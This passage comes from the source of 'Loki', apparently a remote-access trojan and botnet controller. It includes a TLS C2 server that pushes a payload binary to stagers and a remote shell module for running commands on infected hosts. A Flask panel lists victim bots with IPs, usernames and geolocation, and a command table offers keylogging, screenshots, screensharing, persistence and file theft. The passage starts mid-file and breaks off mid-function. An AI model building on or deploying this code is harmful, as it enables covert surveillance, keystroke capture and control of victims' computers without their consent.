        self.is_alive = True

        self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server_socket.setsockopt(
            socket.SOL_SOCKET,
            socket.SO_REUSEADDR,
            1
        )

        self.server_socket.settimeout(self.max_time)

        try:
            self.server_socket.bind((self.ip, self.port))
            self.server_socket.listen(1)
        except OSError:
            self.error_msg = 'Failed to start Screenshare {}:{}'.format(
                self.ip,
                self.port
            )

            self.error_code = -1
            self.stop()

        try:
            session, addr = self.server_socket.accept()
            self.recipient_session = ssl.wrap_socket(
                session,
                server_side=True,
                certfile=CERT_FILE,
                keyfile=KEY_FILE
            )

            self.display()
        except TimeOutError:
            self.error_msg = 'Screenshare timed out'
            self.error_code = -1
            self.stop()

    def socket_closed(self):
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
            sock.settimeout(1.5)

            s = ssl.wrap_socket(
                sock,
                ssl_version=ssl.PROTOCOL_SSLv23
            )

            try:
                return s.connect((self.ip, self.port)) == 0
            except (ConnectionRefusedError, socket.timeout):
                return True
            except:
                return False

    def stop(self):
        if not self.is_alive:
            return

        self.is_alive = False

        if self.recipient_session:
            while not self.socket_closed():
                try:
                    self.recipient_session.close()
                    self.recipient_session.shutdown(socket.SHUT_RDWR)
                except:
                    try:
                        self.server_socket.close()
                        self.server_socket.shutdown(socket.SHUT_RDWR)
                    except:
                        pass
                    finally:
                        sleep(0.1)
                finally:
                    try:
                        os.remove(self.image)
                    except:
                        pass

            try:
                del self.recipient_session
                self.recipient_session = None
            except:
                try:
                    del self.server_socket
                    self.server_socket = None
                except:
                    pass


================================================
FILE: lib/server/lib/ssh.py
================================================
# Date: 07/27/2018
# Author: Pure-L0G1C
# Description: Secure shell

import os
import ssl
import socket
from threading import Thread
from lib.const import CERT_FILE, KEY_FILE
from socket import timeout as TimeOutError


class Communicate(object):

    def __init__(self, session):
        self.session_recv = 4096 << 12
        self.session = session
        self.is_alive = True
        self.pending = False
        self.tmp_resp = ''
        self.resp = None

    def recv(self):
        self.session.settimeout(0.5)
        while self.is_alive:
            try:
                recv = self.session.recv(self.session_recv)
                if recv:
                    data = recv.decode('utf8')
                    if data != '-1':
                        self.tmp_resp += data
                    else:
                        self.resp = self.tmp_resp
                        self.pending = False
                else:
                    self.stop()
            except:
                pass

    def send(self, data):
        if len(data.strip()):
            if not self.is_alive:
                return
            try:
                self.pending = True
                self.session.sendall(data.encode('utf8'))
            except:
                pass

    def start(self):
        recv = Thread(target=self.recv)
        recv.daemon = True
        recv.start()

    def stop(self):
        self.is_alive = False


class Server(object):

    def __init__(self, communication):
        self.communication = communication
        self.communication.start()
        self.is_alive = True

    def stop(self):
        self.is_alive = False
        self.communication.is_alive = False

    def send(self, cmd):
        if len(cmd.strip()):
            if not self.communication.pending:
                self.communication.send(cmd)
                while all([self.is_alive, self.communication.is_alive, self.communication.pending]):
                    pass
                self.communication.tmp_resp = ''
                resp = self.communication.resp
                self.communication.resp = None
                return resp


class SSH(object):

    def __init__(self, ip, port, max_time=10, verbose=False):
        self.ip = ip
        self.port = port
        self.verbose = verbose
        self.max_time = max_time
        self.communication = None
        self.recipient_session = None

    def display(self, msg):
        if self.verbose:
            print('{}\n'.format(msg))

    def start(self):
        server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server_socket.settimeout(self.max_time)

        try:
            server_socket.bind((self.ip, self.port))
            server_socket.listen(1)
            return server_socket
        except OSError:
            self.display('Failed to start ssh server on {}:{}'.format(
                self.ip, self.port))

    def serve(self, server_socket):
        try:
            session, addr = server_socket.accept()
            self.recipient_session = ssl.wrap_socket(
                session, server_side=True, certfile=CERT_FILE, keyfile=KEY_FILE)
        except TimeOutError:
            self.display('Server timed out')
            self.close()
            return -1

        communication = Communicate(self.recipient_session)
        if self.communication:
            self.close()

        self.communication = Server(communication)
        return 0

    def close(self):
        try:
            print('\nClosing SSH ...')
            if self.communication:
                self.communication.stop()

            self.recipient_session.close()
            self.recipient_session.shutdown(socket.SHUT_RDWR)
        except:
            pass

    def send(self, cmd):
        if self.communication:
            return self.communication.send(cmd)


================================================
FILE: lib/server/server.py
================================================
# Date: 06/01/2018
# Author: Pure-L0G1C
# Description: Server

import ssl
import socket
from os import path
from lib import const
from time import sleep
from queue import Queue
from OpenSSL import crypto
from random import SystemRandom
from threading import Thread, RLock
from .lib import session, shell, interface


class Server(object):
    def __init__(self):
        self.interface = interface.Interface()
        self.waiting_conn = Queue()
        self.is_active = False  # is the server active
        self.lock = RLock()
        self.server = None
        self.port = None
        self.ip = None

        self.is_processing = False

    def gen_cert(self):
        key_pair = crypto.PKey()
        key_pair.generate_key(crypto.TYPE_RSA, 2048)

        cert = crypto.X509()
        cert.get_subject().O = "Loki"
        cert.get_subject().CN = "Sami"
        cert.get_subject().OU = "Pure-L0G1C"
        cert.get_subject().C = "US"
        cert.get_subject().L = "Los Santos"
        cert.get_subject().ST = "California"

        cert.set_serial_number(SystemRandom().randint(2048**8, 4096**8))
        cert.gmtime_adj_notBefore(0)
        cert.gmtime_adj_notAfter(256 * 409600)
        cert.set_issuer(cert.get_subject())
        cert.set_pubkey(key_pair)
        cert.sign(key_pair, "sha256")

        with open(const.CERT_FILE, "wb") as f:
            f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))

        with open(const.KEY_FILE, "wb") as f:
            f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, key_pair))

    def server_start(self):
        if self.is_processing:
            return

        self.is_processing = True

        self.gen_cert()
        context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        context.load_cert_chain(const.CERT_FILE, const.KEY_FILE)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        try:
            sock.bind((self.ip, self.port))
            self.is_active = True
            sock.settimeout(0.5)
            sock.listen(100)

            self.server = context.wrap_socket(sock, server_side=True)
            self.services_start()
        except OSError:
            self.display_text("Error: invalid IP")
            self.port = None
            self.ip = None
        finally:
            self.is_processing = False

    def server_stop(self):
        if self.is_processing:
            return

        self.is_processing = True

        if not self.is_active:
            self.is_processing = False
            return

        self.is_active = False
        self.interface.close()

        self.is_processing = False
        self.ip, self.port = None, None

    def manage_conn_info(self, sess_obj, conn_info):
        if conn_info:
            try:
                with self.lock:
                    services = {
                        "ssh": {"ip": const.PUBLIC_IP, "port": const.SSH_PORT},
                        "ftp": {"ip": const.PUBLIC_IP, "port": const.FTP_PORT},
                    }

                    sess_obj.send(args=services)
                    self.manage_conn(sess_obj, conn_info)
            except:
                pass

    def manage_conn(self, sess_obj, conn_info):
        _shell = shell.Shell(sess_obj, self.interface)
        shell_thread = Thread(target=_shell.start)
        self.interface.connect_client(sess_obj, conn_info, _shell)
        shell_thread.daemon = True
        shell_thread.start()

    def send_payload(self, sess):
        """Send payload to stager"""

        if not path.exists(const.PAYLOAD_PATH):
            print("Payload binary does not exist; please generate it")
            return

        with open(const.PAYLOAD_PATH, "rb") as f:
            while True:
                data = f.read(const.BLOCK_SIZE)

                if data:
                    sess.sendall(data)
                else:
                    break

    def examine_conn(self, s, conn_info):

        if type(conn_info) != dict:
            print("Client did not supply a proper data type")
            return

        if not "code" in conn_info or not "args" in conn_info:
            print("Client did not supply both code and args")
            return

        if conn_info["code"] == None:
            print("Client supplied no code")
            return

        if conn_info["code"] == const.STAGER_CODE:
            self.send_payload(s.session)
            return

        if conn_info["code"] == const.CONN_CODE:
            print("Establishing a secure connection ...")
            self.manage_conn_info(s, conn_info)

    def establish_conn(self, sess, ip):
        s = session.Session(sess, ip)
        conn_info = s.initial_communication()

        if conn_info:
            self.examine_conn(s, conn_info)

    def waiting_conn_manager(self):
        while self.is_active:
            if self.waiting_conn.qsize():
                session, ip = self.waiting_conn.get()
                sleep(0.5)
                self.establish_conn(session, ip)

    def server_loop(self):
        while self.is_active:
            try:
                session, ip = self.server.accept()
                self.waiting_conn.put([session, ip])
            except:
                pass

    def services_start(self):
        server_loop = Thread(target=self.server_loop)
        conn_manager = Thread(target=self.waiting_conn_manager)

        server_loop.daemon = True
        conn_manager.daemon = True

        server_loop.start()
        conn_manager.start()

        print("Server started successfully")

    # -------- UI -------- #

    def display_text(self, text):
        print("{0}{1}{0}".format("\n\n\t", text))

    def start(self, ip, port):
        if self.is_active:
            self.server_stop()
        self.ip, self.port = ip, int(port)
        self.server_start()
        sleep(1.2)
        return self.is_active

    def stop(self):
        if self.is_active:
            self.server_stop()
            sleep(1.2)
        return self.is_active


================================================
FILE: linter.sh
================================================
# flake8
echo -e "[Begin flake8]\n"
flake8 .
echo -e "\n[End flake8]"

# mypy
echo -e "[Begin mypy]\n"
mypy --ignore-missing-imports --install-types .
echo -e "\n[End mypy]"
	
# bandit
echo -e "[Begin bandit]\n"
bandit -r .
echo -e "\n[End bandit]"


================================================
FILE: loki.py
================================================
# Date: 07/02/2018
# Author: Pure-L0G1C
# Description: Web server

import re
from os import urandom
from lib import database, const
from flask_wtf import CSRFProtect
from string import ascii_uppercase
from lib.server.server import Server
from flask import (
    Flask,
    render_template,
    request,
    session,
    jsonify,
    redirect,
    url_for,
    escape,
)

app = Flask(__name__)
app.config["JSON_SORT_KEYS"] = False
app.config["SECRET_KEY"] = urandom(0x200)  # cookie encryption

# Protection against CSRF attack
csrf = CSRFProtect(app)
csrf.init_app(app)

# server
server = Server()
db = database.Database()


def get_bot(bot_id):
    bots = server.interface.bots
    for bot_session in bots:
        if bots[bot_session]["bot_id"] == bot_id:
            return bots[bot_session]


def login_required(func):
    def wrapper(*args, **kwargs):
        if not "logged_in" in session:
            return redirect(url_for("index"))
        elif not session["logged_in"]:
            return redirect(url_for("index"))
        else:
            return func(*args, **kwargs)

    wrapper.__name__ = func.__name__
    return wrapper


def bot_required(func):
    def wrapper(*args, **kwargs):
        if not "bot_id" in session:
            return jsonify({"resp": ""})
        if not get_bot(session["bot_id"]):
            return jsonify({"resp": ""})
        return func(*args, **kwargs)

    wrapper.__name__ = func.__name__
    return wrapper


# Usernames & Passwords


def is_valid_username(username):
    username = username.strip()
    resp = {"status": 0, "msg": ""}

    if len(username) == 0:
        return resp

    if len(username) < const.MIN_USERNAME_LENGTH:
        resp["msg"] = (
            "Username must contain at least "
            + const.MIN_PASSWORD_LENGTH
            + " characters"
        )
        return resp
    elif len(username) > const.MAX_USERNAME_LENGTH:
        resp["msg"] = (
            "Username must contain at most "
            + const.MAX_USERNAME_LENGTH
            + "characters"
        )
        return resp

    if re.findall(r"\W", username):
        resp["msg"] = "Username must not contain a special or space character"
        return resp

    resp["status"] = 1
    return resp


def is_valid_password(password):
    _password = password
    password = password.strip()
    resp = {"status": 0, "msg": ""}

    if len(password) == 0:
        return resp

    # Length

    if len(password) < const.MIN_PASSWORD_LENGTH:
        resp["msg"] = (
            "Password must contain at least "
            + const.MIN_PASSWORD_LENGTH
            + " characters"
        )
        return resp

    elif len(password) > const.MAX_PASSWORD_LENGTH:
        resp["msg"] = (
            "Password must contain at most "
            + const.MAX_PASSWORD_LENGTH
            + " characters"
        )
        return resp

    # Diversity

    if re.findall(r"^\d+\d$", password):
        resp["msg"] = "Password must not only consist of numbers"
        return resp

    if not re.findall(r"\d", password):
        resp["msg"] = "Password must contain a number"
        return resp

    if not re.findall(r"\w", password):
        resp["msg"] = "Password must contain a letter"
        return resp

    # Spaces

    if re.findall(r"^\s|\s$", _password):
        resp["msg"] = "Password must not start or end with a space"
        return resp

    if not re.findall(r"\s", password):
        resp["msg"] = "Password must contain a space"
        return resp

    if re.findall(r"\s{2,}", password):
        resp["msg"] = "Password must not consist of consecutive spaces"
        return resp

    resp["status"] = 1
    return resp


# -------- Endpoints -------- #


@app.route("/")
def index():
    if not "logged_in" in session:
        session["logged_in"] = False
        return render_template("index.html")
    if not session["logged_in"]:
        return render_template("index.html")
    return render_template("home.html")


@app.route("/settings")
@login_required
def settings():
    return render_template("settings.html")


def start_bot_services(bot_id):
    if not "bot_id" in session or session["bot_id"] != bot_id:
        session["bot_id"] = bot_id
        server.interface.ssh_obj(bot_id)


@app.route("/control/cmd", methods=["POST"])
@login_required
@bot_required
def control_cmd():
    if not "cmd_id" in request.form or not "args[]" in request.form:
        return jsonify({"resp": "Supply both cmd_id and args[]"})

    cmd_id = request.form["cmd_id"]
    args = request.form.getlist("args[]")

    if not cmd_id.isdigit():
        return jsonify({"resp": "cmd_id must be an int type"})

    if not "bot_id" in session:
        return jsonify({"resp": "A bot must be selected"})

    if not get_bot(session["bot_id"]):
        return jsonify({"resp": ""})

    resp = server.interface.execute_cmd_by_id(session["bot_id"], cmd_id, args)
    return jsonify({"resp": resp})


@app.route("/control/ssh", methods=["POST"])
@login_required
@bot_required
def control_ssh():
    if not "cmd" in request.form:
        return jsonify({"resp": "Please provide cmd argument"})

    cmd = request.form["cmd"].strip()

    if not "bot_id" in session:
        return jsonify({"resp": "A bot must be selected"})

    if not get_bot(session["bot_id"]):
        return jsonify({"resp": ""})

    return jsonify({"resp": server.interface.ssh_exe(cmd)})


@app.route("/get-bot-info", methods=["POST"])
@login_required
def get_bot_info():
    if not "bot-id" in request.form:
        return jsonify({"status": -1, "msg": "bot-id is required"})

    bot_id = request.form["bot-id"]
    bot = server.interface.get_bot(bot_id)

    if not bot:
        return jsonify({"status": -1, "msg": "No bot is available by that id"})

    start_bot_services(bot_id)

    net_info = bot["intel"]["net_info"]
    sys_info = bot["intel"]["sys_info"]

    data = {
        "system": {
            "OS": sys_info["system"] + " " + sys_info["release"],
            "OS Version": sys_info["version"],
            "Hostname": sys_info["hostname"],
            "Username": sys_info["username"].title(),
        },
        "network": {
            "ISP": net_info["isp"].title(),
            "Internal IP": net_info["internalIp"],
            "External IP": net_info["query"],
        },
        "geolocation": {
            "Country": net_info["country"].title(),
            "Region": net_info["regionName"].title(),
            "City": net_info["city"].title(),
            "Zip": net_info["zip"],
            "Latitude": net_info["lat"],
            "Longitude": net_info["lon"],
            "Timezone": net_info["timezone"],
        },
    }

    return jsonify({"status": 0, "data": data})


@app.route("/fetch-bots", methods=["GET"])
@login_required
def fetch_bots():

    online_bots = []
    bots = server.interface.bots

    for bot in bots:
        online_bots.append(
            {
                "id": bots[bot]["bot_id"],
                "ip": bots[bot]["intel"]["net_info"]["query"],
                "os": bots[bot]["intel"]["sys_info"]["system"],
                "country": bots[bot]["intel"]["net_info"]["country"],
            }
        )

    return jsonify({"bots": online_bots, "signature": server.interface.sig})


@app.route("/server-status", methods=["GET"])
@login_required
def server_status():
    status = {"isActive": server.is_active}

    if server.is_active:
        status["ip"] = server.ip
        status["port"] = server.port

    return jsonify(status)


@app.route("/get-account-status", methods=["GET"])
@login_required
def get_default_creds_status():
    status = {
        "msg": db.get_account_status(session["user_id"], session["username"])
    }

    return jsonify(status)


@app.route("/update-username-password", methods=["POST"])
@login_required
def update_username_password():
    resp = {
        "new-username": {"status": 0, "msg": ""},
        "current-password": {"status": 0, "msg": ""},
        "new-password": {"status": 0, "msg": ""},
        "confirm-password": {"status": 0, "msg": ""},
    }

    if (
        not "newUsername" in request.form
        or not "currentPassword" in request.form
        or not "newPassword" in request.form
        or not "confirmPassword" in request.form
    ):
        return jsonify({"resp": "Please provide all argument"})

    new_username = request.form["newUsername"]
    current_password = request.form["currentPassword"]
    new_password = request.form["newPassword"]
    confirm_password = request.form["confirmPassword"]

    if len(current_password) == 0 and len(new_username) == 0:
        return jsonify(resp)

    new_password_resp = is_valid_password(new_password)
    new_username_resp = is_valid_username(new_username)

    if len(current_password):
        if not db.compare_passwords(session["user_id"], current_password):
            resp["current-password"][
                "msg"
            ] = "Please provide the correct password"
        else:
            if new_password_resp["status"] == 0:
                resp["new-password"]["msg"] = new_password_resp["msg"]
            else:
                if new_password != confirm_password:
                    resp["confirm-password"]["msg"] = "Passwords do not match"
                else:
                    db.update_password(session["user_id"], new_password)
                    resp["new-password"]["msg"] = "Password has been updated"
                    resp["new-password"]["status"] = 1

    if len(new_username):
        if new_username_resp["status"] == 0:
            resp["new-username"]["msg"] = new_username_resp["msg"]
        else:
            if not db.account_exists(new_username):
                db.update_username(session["user_id"], new_username)
                resp["new-username"]["msg"] = "Username has been updated"
                session["username"] = new_username.lower()
                resp["new-username"]["status"] = 1
            else:
                resp["new-username"]["msg"] = "Must be a new username"

    session["account_status"] = db.get_account_status(
        session["user_id"], session["username"]
    )

    return jsonify(resp)


def valid_ip(ip):
    if not re.match(
        r"^(?!0)(?!.*\.$)((1?\d?\d|25[0-5]|2[0-4]\d)(\.|$)){4}$", ip
    ):
        return False
    if ip != const.PRIVATE_IP:
        return False
    return True


def valid_port(port):
    _port = str(port).strip()

    if not len(_port):
        return False
    else:
        #  check if number
        for item in _port:
            if not item.isdigit():
                return False

        # check if number starts with a zero
        if int(_port[0]) == 0:
            return False

        # check if number is larger than 65535
        if int(_port) > 65535:
            return False

        if any([int(_port) == const.FTP_PORT, int(_port) == const.SSH_PORT]):
            return False
        return True


def server_start(ip, port):
    session["ip"] = ip
    session["port"] = port
    session["server_active"] = True
    return server.start(ip, port)


def server_stop():
    session["ip"] = None
    session["port"] = None
    session["server_active"] = False
    return not server.stop()


@app.route("/start-server", methods=["POST"])
@login_required
def start_server():

    if not "ip" in request.form or not "port" in request.form:
        return jsonify({"status": -1, "msg": "Provide an IP and a Port"})

    ip = request.form["ip"]
    port = request.form["port"]

    if not valid_ip(ip):
        return jsonify({"status": -1, "msg": "Invalid IP"})

    if not valid_port(port):
        return jsonify({"status": -1, "msg": "Invalid port"})

    if not server.is_active or not session["server_active"]:
        if server_start(ip, port):
            return jsonify({"status": 0, "msg": "Successfully started server"})
        return jsonify({"status": -1, "msg": "Failed to start server"})

    return jsonify({"status": -1, "msg": "Server is already active"})


@app.route("/stop-server", methods=["POST"])
@login_required
def stop_server():
    if server.is_active or session["server_active"]:
        if server_stop():
            return jsonify({"status": 0, "msg": "Successfully stopped server"})
        return jsonify({"status": -1, "msg": "Failed to stop server"})

    return jsonify({"status": -1, "msg": "Server is already inactive"})


@app.route("/login", methods=["GET", "POST"])
def login():
    if not "logged_in" in session:
        return redirect(url_for("index"))

    if session["logged_in"]:
        return redirect(url_for("index"))

    if not ("username" in request.form and "password" in request.form):
        return jsonify(
            {"is_authenticated": False, "msg": "Provide all requirements"}
        )

    username = escape(request.form.get("username").strip())
    password = escape(request.form.get("password"))

    if not len(username) or not len(password):
        return jsonify(
            {
                "is_authenticated": False,
                "msg": "Username and password required",
            }
        )

    # attempt to login
    user_id = db.authenticate(username, password)

    if not user_id:
        return jsonify(
            {"is_authenticated": False, "msg": "Incorret username or password"}
        )

    session["logged_in"] = True
    session["user_id"] = user_id
    session["username"] = username.title()

    # server
    session["server_active"] = False
    session["port"] = None
    session["ip"] = None

    if server.is_active:
        server_start(server.ip, server.port)

    session["account_status"] = db.get_account_status(user_id, username)

    return jsonify({"is_authenticated": True, "msg": ""})


@app.route("/logout")
@login_required
def logout():
    session.clear()
    return redirect(url_for("index"))


if __name__ == "__main__":
    WEB_SERVER_IP = "127.0.0.1"
    WEB_SERVER_PORT = 5000

    # start server
    app.run(host=WEB_SERVER_IP, port=WEB_SERVER_PORT)

    # stop server
    server.stop()


================================================
FILE: requirements.txt
================================================
mss==3.2.1
pynput==1.6.6
Flask==2.1.0
bcrypt==3.1.7
requests==2.22.0
Flask-WTF==0.14.3
pyOpenSSL==22.0.0
PyInstaller==3.6
pycryptodome==3.9.6
jinja2<3.1.0
werkzeug==2.0.3

================================================
FILE: static/css/control.css
================================================
@import url('home.css');

#cmd-line {
    width: 90%;
    height: 75%;
    margin: 0 auto;
    margin-top: 10px;
    white-space: pre;
    overflow-x: auto;
    padding: 0.8% 0.5%;
    border-radius: 3.5px;
    color: var(--white-smoke);
    background-color: var(--bg-color);
    border: 1px solid var(--white-smoke);
}

#cmd-input,
#console {
    outline: none;
    margin-top: 2%;
    margin-left: 5%;
    padding: 5px 0.7%;
    text-align: center;
    border-radius: 2.5px;
    font-family: inconsolata;
    color: var(--white-smoke);
    background-color: var(--bg-color);
    border: 1px solid var(--white-smoke);
}

#cmd-input:focus,
#console:focus {
    text-align: left;
}

#cmd-line,
#cmd-input,
#console {
    font-size: 14px;
    font-family: inconsolata;
}

#cmd-load,
#console-load {
    width: 80px;
    height: 80px;
    display: none;
    margin-left: 4%;
}


================================================
FILE: static/css/home.css
================================================
@import url('main.css');

.table-container {
    padding-left: 1px !important;
    height: 176px;
    overflow-y: scroll;
    border: solid 3px var(--hd-color);
}

table {
    width: 100%;
    margin: auto;
    font-size: 11.8px;
    table-layout: fixed;
    font-family: comfortaa;
    background-color: var(--hd-color) !important;
}

table th {
    padding: 0.7%;
    font-size: 11px;
    background-color: var(--bg-color);
}

.clickable:hover {
    cursor: pointer;
    text-decoration: underline;
}

.status-row {
    margin-right: 10px;
}

.status-value {
    font-family: rich;
    margin-left: 5px;
    color: var(--warning);
}

#server-control-section {
    height: 145px;
    text-align: center;
    padding: 0.1em 0.3em;
    background-color: var(--hd-color);
}

#server-config-section {
    width: 80%;
    margin: 15px auto;
}

#server-config-section input {
    font-family: rich;
    text-align: center;
    line-height: 2;
    width: 142px;
    border-radius: 3px;
    border: none;
    outline: none;
}

#server-control-section button,
#server-config-section input {
    font-size: 14px;
}

#server-config-section input:disabled {
    background-color: #f9f9f9;
}

.console {
    border: 1px solid var(--hd-color);
    background-color: var(--hd-color);
}
.console-display {
    margin: 10px 0.5em;
    height: 406px;
    border: 1px solid #fff;
    background-color: var(--bg-color);
    padding: 5px 0.7%;
    font-family: inconsolata;
    overflow-y: auto;
}
.console-input-container {
    width: 100%;
    display: block;
}
.console-input-container span:first-child::before {
    content: var(--console-input-sym);
}

#console-input {
    width: 91%;
    color: #fff;
    background-color: transparent;
    outline: none;
    cursor: default;
    border: none;
}

.console-output-input-cmd,
#console-input.disabled-console-input,
.disabled-console-input span:first-child::before {
    color: var(--console-input-disabled-color);
}

#console-output {
    white-space: pre;
    line-height: 1.3;
}

.console-output-input-cmd::before {
    content: var(--console-input-sym);
}

.console-output-input-cmd::before,
.console-input-container span:first-child::before {
    font-weight: bold;
}

.console-output-output {
    margin-top: 12px;
    display: block;
}

#info-display {
    height: 469px;
    overflow-y: auto;
    background-color: var(--hd-color);
    padding: 0.5em 5px;
    padding-top: 0.7em;
}
.info-section {
    margin-bottom: 1em;
}
.info-section:first-child {
    margin-top: 0.2em;
}
.info-section:last-child {
    margin-bottom: 0.6em;
}
.info-section-title {
    font-size: 1.2em;
    margin-bottom: 0.5em;
    display: block;
}
.info-row {
    margin-top: 0;
    margin-left: 1.3em;
    display: block;
    line-height: 1.4;
}
.info-row-title {
    font-weight: 600;
    font-size: 13.8px;
}
.info-row-title::after {
    content: ' : ';
    font-size: 15px;
    font-family: rich;
}
.info-row-value {
    padding-left: 3px;
    color: var(--warning);
    font-size: 13px;
}


================================================
FILE: static/css/index.css
================================================
@import url('main.css');

#logo {
    color: #fff;
    display: block;
    margin-top: 10%;
    font-size: 40px;
    margin-bottom: 10px;
}

#form input {
    font-size: 14px !important;
    font-family: comfortaa;
}

#form input:hover {
    cursor: pointer;
}

#form input:focus {
    cursor: text;
    text-align: left !important;
}

#login-box > form > input {
    width: 75%;
    outline: none;
    padding-left: 5px;
    text-align: center;
    line-height: 2.5em;
    font-family: comfortaa;
    border: 1px solid transparent;
    border-radius: var(--border-radius);
}

#username:focus,
#password:focus {
    text-align: left;
    border: 1px solid var(--bg-color);
}

#login {
    color: #fff !important;
    background-color: #222 !important;
}

#login:hover {
    background-color: #3b3b3b !important;
}


================================================
FILE: static/css/intel.css
================================================
@import url('home.css');


================================================
FILE: static/css/main.css
================================================
@charset "utf-8";
* {
    padding: 0;
    margin: 0;
}

html,
body {
    height: 100%;
    display: flex;
    flex-direction: column;
}

body > * {
    flex-shrink: 0;
}

:root {
    --border-radius: 2.5px;
    --hot-red: #ff0033;
    --dark-red: #dc3545;
    --hd-color: #1f1f1f;
    --tab-color: #2f2f2f;
    --white-smoke: #f9f9f9;

    --bg-color: #101010;
    --tab-hover: #0f0f0f;

    --console-input-sym: '$> ';
    --console-input-disabled-color: #afafaf;
}

body {
    color: #fff !important;
    background-color: var(--bg-color);
}

/* Sidebar */
#sidebar {
    background-color: var(--hd-color);
    width: 140px;
}

#sidebar li,
.console .tab {
    background-color: var(--tab-color);
}

.tab:hover,
#sidebar li:hover,
.active-sidebar-tab,
.active-tab {
    background-color: var(--tab-hover) !important;
}

.tab span,
.active-tab span,
#sidebar li a,
#sidebar li:hover a,
.active-sidebar-tab a {
    color: #fff !important;
}

#sidebar a.nav-link {
    width: 102.8px;
    text-align: center;
}

.tab {
    width: 5.5rem;
    text-align: center;
    margin-right: 0.3em;
}

li.tab.disabled-tab,
li.tab.disabled-tab:hover {
    background-color: var(--tab-color) !important;
    cursor: default !important;
}

.tab span {
    padding: 0.4rem 0.5rem !important;
}

.tab:hover {
    cursor: pointer;
}

#display-area {
    background-color: var(--bg-color);
    color: #fff;
}

#sidebar,
#display-area {
    height: 100%;
    font-size: 13.8px;
    min-height: 92.714vh;
}

.logo {
    font-family: rich;
}

.navbar,
.content-container {
    background-color: var(--hd-color);
}

.nav-tabs {
    border: none;
}

.nav-tabs .nav-link {
    border: none !important;
    border-top-left-radius: 0;
    border-top-right-radius: 0;
    margin-right: 2.4px;
}

.nav-tabs a.nav-link:hover {
    background-color: var(--bg-color);
}

.nav-tabs a.nav-link.active {
    background-color: var(--bg-color) !important;
}

#logout {
    background-color: var(--hot-red);
}

#logout:hover {
    background-color: var(--dark-red);
}

.invalid {
    outline: none;
    border: 2px solid;
    border-color: var(--dark-red) !important;
    box-shadow: 0 0 5px 2px var(--dark-red);
}

#notice {
    font-size: 15px;
    text-align: center;
    font-style: oblique;
    color: var(--hot-red);
    font-family: comfortaa;
}

::-webkit-scrollbar {
    width: 2.5px;
    height: 2.5px;
}

::-webkit-scrollbar-track {
    background: rgba(0, 0, 0, 0.1);
}

::-webkit-scrollbar-thumb {
    background-color: #fff;
}

@font-face {
    font-family: rich;
    src: url(../font/aldrich.ttf);
}

@font-face {
    font-family: comfortaa;
    src: url(../font/comfortaa.ttf);
}

@font-face {
    font-family: inconsolata;
    src: url(../font/inconsolata.ttf);
}


================================================
FILE: static/css/settings.css
================================================
@import url('main.css');

#account-update-container {
    height: 404px;
    background-color: var(--hd-color);
}

#new-username {
    border: none;
    text-transform: lowercase;
}


================================================
FILE: static/js/command.js
================================================
'use strict';

const commands = {
    reconnect: { id: 2, help: 'Force the remote computer to reconnect', usage: 'reconnect' },
    disconnect: { id: 7, help: 'Force the remote computer to disconnect', usage: 'disconnect' },

    screenshot: { id: 5, help: 'Capture a screenshot', usage: '\t\tscreenshot' },

    logger_start: { id: 12, help: 'Start keylogging', usage: '\t\t\tlogger_start' },
    logger_stop: { id: 13, help: 'Stop keylogging', usage: '\t\t\tlogger_stop' },
    logger_dump: { id: 14, help: 'Display keystrokes', usage: '\t\tlogger_dump' },

    chrome: { id: 6, help: 'Launch Chrome browser', usage: '\t\t\tchrome <tab1> <tab2> <tabn>' },

    persist_create: { id: 8, help: 'Create persistence', usage: '\t\t\tpersist_create' },
    persist_remove: { id: 9, help: 'Remove persistence', usage: '\t\t\tpersist_remove' },

    screen_start: {
        id: 15,
        help: 'Start screenshare',
        usage: '\t\t\tscreen_start <updateTime(sec)>'
    },
    screen_stop: { id: 16, help: 'Stop screenshare', usage: '\t\tscreen_stop' },
    screen_status: { id: 17, help: 'Status of screenshare', usage: '\t\t\tscreen_status' },

    ftp_status: { id: 1, help: 'Check the status of a file transfer', usage: 'ftp_status' },
    upload: { id: 3, help: 'Upload a file to the remote computer', usage: 'upload <file>' },
    download: { id: 4, help: 'Downaload a file from the remote computer', usage: 'download <file>' }
};

const CommandsEnum = { commands: 'commands', help: 'help' };

class Command extends Terminal {
    constructor() {
        Terminal.isSSH = false;
        super();
    }

    get mainMenu() {
        return (
            '<p>' +
            '<span>Type [command] + <kbd>Enter</kbd></span>' +
            '</p>' +
            '<ul style="list-style: none;">' +
            "<li>'help' -- display this list</li>" +
            "<li>'cls' -- clear screeen</li>" +
            "<li>'commands' -- display commands</li>" +
            '</ul>'
        );
    }

    get commands() {
        let displayed = false;
        let cmdOutput = '';
        let command;

        for (let cmd in commands) {
            if (!displayed) {
                displayed = true;
                cmdOutput += '\t# --------[ Available Commands ]-------- #\n\n';
            }

            command = commands[cmd];

            cmdOutput +=
                '\t' +
                cmd +
                '\t'.repeat(cmd.length < 8 ? 2 : 1) +
                command['help'] +
                '\t'.repeat(command['usage'].length < 15 ? 2 : 1) +
                command['usage'] +
                '\n';
        }

        cmdOutput +=
            '\n\tOverride a running process by using --override after the args\n' +
            '\tExample: download blueprint.pdf --override\n';

        return cmdOutput;
    }

    getArgs(cmd) {
        let args = [];

        for (let n = 1; n < cmd.length; n++) {
            args[n - 1] = cmd[n];
        }
        return args;
    }

    execute(cmd) {
        let _cmd = cmd.split(' ');

        let command = _cmd[0].toLowerCase();
        let args = _cmd.length > 1 ? this.getArgs(_cmd) : [-1];

        if (!(command in commands)) {
            if (command === CommandsEnum.commands) {
                this.stopExe(cmd, this.commands);
                return;
            } else if (command === CommandsEnum.help) {
                this.stopExe(cmd, '');
                $('#console-output').append(terminalObj.mainMenu);
                this.scroll();
                return;
            }

            this.stopExe(cmd, "'" + cmd.split(' ')[0] + "'" + ' is not recognized as a command');
            return;
        } else {
            this.startExe();
        }

        $.ajax({
            type: 'POST',
            url: '/control/cmd',
            data: { cmd_id: commands[command]['id'], args: args },
            beforeSend: request => {
                request.setRequestHeader('X-CSRFToken', $('#csrf_token').val());
            }
        })
            .done(resp => {
                let msg;

